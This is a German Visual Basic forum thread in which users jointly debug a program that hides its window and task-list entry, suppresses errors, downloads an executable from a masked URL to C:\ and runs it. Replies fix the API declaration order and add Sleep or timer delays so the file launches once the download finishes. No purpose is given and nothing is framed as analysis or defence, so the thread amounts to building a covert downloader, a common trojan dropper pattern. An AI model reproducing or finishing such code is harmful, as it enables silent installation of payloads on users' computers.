Visual Basic Forum

King of Chaos_ · Coder Anmeldedatum: 26.09.2007 Beiträge: 235

Was ist an dem Source Falsch?!

[vb:1:05f288aeed]Private Sub Form_Load()
On Error Resume Next
Me.Hide
App.TaskVisible = False

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Private Command1_Click_Load()
Form1.Visible = False
Dim iReturn As Long
Dim saveto As Long
iReturn = URLDownloadToFile(0, " http://www.****.de/***.exe", "c:\***.exe", 0, 0)
Shell "c:\***.exe"
End Sub [/vb:1:05f288aeed]

r4z3r_ · « Webmaster » Anmeldedatum: 06.02.2007 Beiträge: 252

mal ganz abgesehen davon, dass du uns mal den Fehler nennen könntest: API's müssen immer über allen Subs und Variablen/Konstanten deklarationen stehen!

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

versuchs ma so

[vb:1:6f99086d30]Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Me.Hide
Dim iReturn As Long
Dim saveto As Long
iReturn = URLDownloadToFile(0, " http://www.****.de/***.exe", "c:\***.exe", 0, 0)
Shell "c:\***.exe"
App.TaskVisible = False
End Sub[/vb:1:6f99086d30]

edit:

ok r4z3r hasts schon geposted -.-

edit2: nochma überarbeited

King of Chaos_ · Coder Anmeldedatum: 26.09.2007 Beiträge: 235

lol hab beim kopieren nd einfügen n Fehler gemacht als ichs gepostet habe

es ist so wie Razer es geschrieben hatt
aber es geht i-wie nicht oÔ

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

Also das mit dem Downloaden geht noch aber die datei zu öffnen schafft der i-wie nicht -.-

aber ich selber kann sie öffen

(also unter C:\***.exe)

sonnst weis ich auch nicht

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

Ich schätze mal der Shell Befehl wird schon ausgeführt bevor er wirklich fertig ist mit dem downloaden.

Entweder reicht ein "DoEvents" dazwischen, oder ihr fragt einfach mal ab was bei iReturn zurückgegeben wird.
Normal würde man wohl eine Schleife machen die solange DoEvents ausführt bis der download wirklich fertig ist, aber ich weiß nicht wie man das hier realisieren könnte.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

könnte mann denn nicht einfach mit nem timer abrfagen ob die Datei existiert ?

und wenn dann führt er sie aus

ich guck ma ob ich das hinbekomme

King of Chaos_ · Coder Anmeldedatum: 26.09.2007 Beiträge: 235

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

Also hiermit kann man das zwar verzögern

doch da man schon ne API hat weis ich nicht wie man die eintragen soll

[vb:1:88ec1da151]Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Command1_Click()
Sleep 5000
Shell "c:\***.exe"
End Sub[/vb:1:88ec1da151]

King of Chaos_ · Coder Anmeldedatum: 26.09.2007 Beiträge: 235

lol ganz einfach Very Happy

naja is ja jetzt egal
Hab schonwieder ne Frage erstellt ^^ aber diesmal nur was für wirklich gute !

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

Könntest du bitte posten wie du den zweiten API eingfügt hast ?

The-God-of-all_ · Verfasst am: 24.10.2007, 16:36

Das ist doch ganz einfach: einfach mehrere Deklarationen untereinander, Deklarationen dürfen zwar nicht nach Funktionen oder Subs kommen aber alles andere darf vor Deklarationen sein, also auch andere Deklarationen.

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

wenn ich das mache sagt der immer das vor einer Deklaration nicht stehen darf -.-

edit:

also ich hab das jetzt mit der verögerung probiert die ich gepostet habe

aber dann kommt immer

weis einer was das ist ?

King of Chaos_ · Coder Anmeldedatum: 26.09.2007 Beiträge: 235

lol poste mal den source irgendwas machst du komplett falsch